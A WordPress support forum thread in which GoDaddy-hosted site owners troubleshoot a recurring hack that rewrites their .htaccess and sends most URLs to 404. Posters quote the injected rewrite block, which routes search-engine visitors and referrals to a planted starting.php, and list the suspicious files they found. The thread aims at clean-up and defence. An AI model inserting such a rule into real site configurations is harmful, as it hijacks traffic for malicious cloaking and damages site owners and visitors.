All URL's except Homepage keep going 404…..

If that keeps getting mysteriously added to your .htaccess file, I’d suggest that the hack probably still exists.

Remain calm and carefully follow this guide. When you’re done, you may want to implement some (if not all) of the recommended security measures.

So I followed the list, worked with GoDaddy, installed Wordfence (which found and removed something), but this code:

<IfModule mod_rewrite.c>
RewriteEngine On
RewriteCond %{HTTP_USER_AGENT} (google|yahoo|msn|aol|bing) [OR]
RewriteCond %{HTTP_REFERER} (google|yahoo|msn|aol|bing)
RewriteRule ^([^/]*)/$ /starting.php?p=$1 [L]
</IfModule>

Keeps getting put in my .htaccess. This has to be the issue, anybody have any history with this?

Hm, try deactivating all of your plugins (all of them, even Wordfence), then remove the code from .htaccess

Does it re-appear, even with all plugins disabled? If not, one of your plugins is adding it, so just reactivate each one individually until you find the cause.

indy7solo, I see from your website that you must have been able to fix the issue. Could you share how as I am experiencing exactly the same. Thanks!

Actually, I have not figured it out yet apparently.

I installed wordfence and another security thing, and everything looked golden there for a couple days, but the issue has reared its ugly head again.

Very frustrating. You have any luck finding solutions?

How about the reply I left 4 days ago? Any luck with that?

indy7solo, – Ah, after one day of a happily working website mine is also again back to 404 pages. Annoying!

MacManX (James Huff) – I will try your recommended solution now. Thanks for the tip!

I also noticed that I have 4 weird files in my WordPress core directory, namely:

-gdd-webform.php
-gddform.php
-h-s.txt
-s-g.txt
-starting.php

The h-s.txt had this in it:

<IfModule mod_rewrite.c>
RewriteEngine On
RewriteCond %{HTTP_USER_AGENT} (google|yahoo|msn|aol|bing) [OR]
RewriteCond %{HTTP_REFERER} (google|yahoo|msn|aol|bing)
RewriteRule ^([^/]*)/$ /starting.php?p=$1 [L]
</IfModule>

I deleted now all of them and keep my fingers crossed!

It was helpful, and got me to the best place the site had gotten too lately, but alas.

This:
<IfModule mod_rewrite.c>
RewriteEngine On
RewriteCond %{HTTP_USER_AGENT} (google|yahoo|msn|aol|bing) [OR]
RewriteCond %{HTTP_REFERER} (google|yahoo|msn|aol|bing)
RewriteRule ^([^/]*)/$ /starting.php?p=$1 [L]
</IfModule>
Getting written into the htaccess file over and over again, replacing the standard wp one, has to be the issue right? I can’t find what is changing it though.

Have either of you asked your hosting providers to take a look? It will help if you come to them with the date and time you last set the .htaccess file to what it should be, and the date and time you last noticed it had changed again.

MacManX (James Huff) – Thanks – Not yet. Site is still ok, so still monitoring!

indy7solo – I also just came across this thread: https://www.ads-software.com/support/topic/htaccess-file-overwritten-new-form-of-malware?replies=12#post-5910015. Might hopefully be helpful to follow!

My Malware scanner keeps finding these issues once the glitch comes back.

/home/content/87/5833387/html/.htaccess
/home/content/87/5833387/html/cache.php
/home/content/87/5833387/html/gd-webform.php

Ringing any bells?

Also, Caramaple, do you know how to add .htaccess to the definition updates? How often does that refresh?

Thanks guys,

Have you asked your hosting provider to take a look? It will help if you come to them with the date and time you last set the .htaccess file to what it should be, and the date and time you last noticed it had changed again.

i will try that, when i last called they made it sound like you couldn’t fix the issue. That was a lot of help, huh?
I hope to get back in touch with them, just have a ton going on right now, ugh….

Yeah, a hacked site on their network should concern them a lot more than that. I hope they’re more helpful this time.

Dont know how to add .htaccess to the definition updates, sorry.

I now also came across this thread: https://www.ads-software.com/support/topic/404-error-page-permalinks-fix-not-working?replies=12. Just sending it through as maybe someone finds a solution. Interesting that we are all on GoDaddy though.

Difficult to know what the solution is as we always have to wait a couple of days to see whether the site survives. I hope we find a fix soon!